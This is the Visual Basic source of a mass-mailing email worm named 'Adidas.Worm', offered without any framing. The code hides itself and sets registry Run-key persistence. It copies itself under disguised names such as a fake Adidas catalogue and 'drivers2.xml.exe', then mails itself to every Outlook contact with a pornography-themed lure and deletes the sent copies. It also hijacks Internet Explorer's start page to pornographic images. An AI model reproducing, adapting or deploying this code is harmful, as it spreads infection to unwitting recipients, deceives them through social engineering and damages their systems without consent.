Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
On Error Resume Next
Set CHECKFOLDER = CreateObject("Scripting.FileSystemObject")
If (CHECKFOLDER.FolderExists("C:\Program Files\Catalouge")) Then GoTo CONTINUE_INFECTION:
MkDir ("C:\Program Files\Catalouge")
CONTINUE_INFECTION:
Set NEWREG = CreateObject("WScript.Shell")
NEWREG.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Program Files\Catalouge\Adidas Catalouge 2004.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system\Adidas.Worm.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Program Files\WindowsUpdate\drivers2.xml.exe"
Set HIDEEXE = CreateObject("Scripting.FileSystemObject")
Const ATTRIB1 = 34
Set EXEHIDDEN = HIDEEXE.GetFile("C:\WINDOWS\system\Adidas.Worm.exe")
EXEHIDDEN.Attributes = ATTRIB1
Set HIDEEXE = CreateObject("Scripting.FileSystemObject")
Const ATTRIB2 = 34
Set EXEHIDDEN = HIDEEXE.GetFile("C:\Program Files\WindowsUpdate\drivers2.xml.exe")
EXEHIDDEN.Attributes = ATTRIB2
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set OUTLOOKAPP = CreateObject("Outlook.Application")
Set ENTRYCOUNT = WScript.CreateObject("Outlook.Application")
Set MAPISPACE = ENTRYCOUNT.GetNameSpace("MAPI")
Set VICTIMSADDRESS = MAPISPACE.AddressLists(1)
For RELOOP = 1 To VICTIMSADDRESS.AddressEntries.Count
Set MAILVIRUS = OUTLOOKAPP.CreateItem(0)
MAILVIRUS.To = OUTLOOKAPP.GetNameSpace("MAPI").AddressLists(1).AddressEntries(RELOOP)
MAILVIRUS.Subject = "Re: Here is your FREE porn web site username and password, I got it especially for you. Enjoy..!! ;-)"
MAILVIRUS.Body = "Go to this web site http://18eighteen.com/pt=scrg6606/ then click on MEMBERS CLICK HERE! and use this free username and password to log on, Well i think This is the best FREE porn web site i`ve seen in a very long time..!!" & vbCrLf & "User Name : Anonymous Addict" & vbCrLf & "PassWord : PoRnStAr2004"
MAILVIRUS.Attachments.Add ("C:\Program Files\Catalouge\Adidas Catalouge 2004.exe")
MAILVIRUS.DeleteAfterSubmit = True
MAILVIRUS.Send
Next
OUTLOOKAPP.Quit
Randomize
RNDNUMBER = Int((10 * Rnd) + 1)
If RNDNUMBER = 1 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/1186_078.jpg"
ElseIf RNDNUMBER = 2 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/1121_084.jpg"
Call ADIDASMSG
ElseIf RNDNUMBER = 3 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/mh33_080.jpg"
ElseIf RNDNUMBER = 4 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/tina_052.jpg"
Call ADIDASMSG
ElseIf RNDNUMBER = 5 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/1121_081.jpg"
ElseIf RNDNUMBER = 6 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/1186_039.jpg"
Call ADIDASMSG
ElseIf RNDNUMBER = 7 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.sleazepit...ogfart/b12.jpg"
ElseIf RNDNUMBER = 8 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/7034_026.jpg"
Call ADIDASMSG
ElseIf RNDNUMBER = 9 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.sleazepit...ogfart/b13.jpg"
ElseIf RNDNUMBER = 10 Then
Set RENEWREG = CreateObject("WScript.Shell")
RENEWREG.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FullScreen", "yes"
RENEWREG.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.porn-cam....y/1162_044.jpg"
Call ADIDASMSG
End If
End Sub
Sub ADIDASMSG()
MSGADIDAS = "All - Day - I - Dream - About - Sex..!!"
End Sub